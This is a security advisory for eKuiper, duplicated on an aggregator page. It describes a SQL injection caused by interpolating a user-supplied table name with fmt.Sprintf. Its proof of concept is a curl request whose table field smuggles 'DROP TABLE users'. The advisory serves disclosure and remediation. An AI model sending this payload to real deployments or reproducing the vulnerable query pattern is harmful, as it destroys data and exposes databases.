Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-526j-mv3p-f4vv: eKuiper API endpoints handling SQL queries with user-controlled table names.

Summary

A critical SQL Injection vulnerability exists in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.

Details

The root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using fmt.Sprintf, without validating the table parameter. Specifically, in:

query := fmt.Sprintf("SELECT * FROM %s ORDER BY rowid DESC LIMIT 1", table)

Any value passed as the table parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.

PoC

  1. Deploy eKuiper instance (default config is sufficient).
  2. Send a crafted request to the SQL query endpoint:
   curl -X POST http://localhost:9081/sql-query \
     -H "Content-Type: application/json" \
     -d '{
       "table": "sensors; DROP TABLE users; --",
       "operation": "getLast"
     }'
  1. Effect: Executes two SQL queries — the first selects data, the second drops the users table.
  2. Verify Result:
   sqlite3 etc/kuiper/data/kuiper.db ".tables"

Impact

CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Refferences

  • https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3
ghsa
#sql#vulnerability#js#git#auth

Summary

A critical SQL Injection vulnerability exists in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.

Details

The root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using fmt.Sprintf, without validating the table parameter. Specifically, in:

query := fmt.Sprintf("SELECT * FROM %s ORDER BY rowid DESC LIMIT 1", table)

Any value passed as the table parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.

PoC

  1. Deploy eKuiper instance (default config is sufficient).
  2. Send a crafted request to the SQL query endpoint:

curl -X POST http://localhost:9081/sql-query \ -H “Content-Type: application/json” \ -d ‘{ "table": "sensors; DROP TABLE users; --", "operation": “getLast” }’

  1. Effect: Executes two SQL queries — the first selects data, the second drops the users table.
  2. Verify Result:

sqlite3 etc/kuiper/data/kuiper.db “.tables”

Impact

CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Refferences

  • lf-edge/ekuiper@72c4918

References

  • GHSA-526j-mv3p-f4vv
  • lf-edge/ekuiper@72c4918

ghsa: Latest News

GHSA-j63h-hmgw-x4j7: Opencast still publishes global system account credentials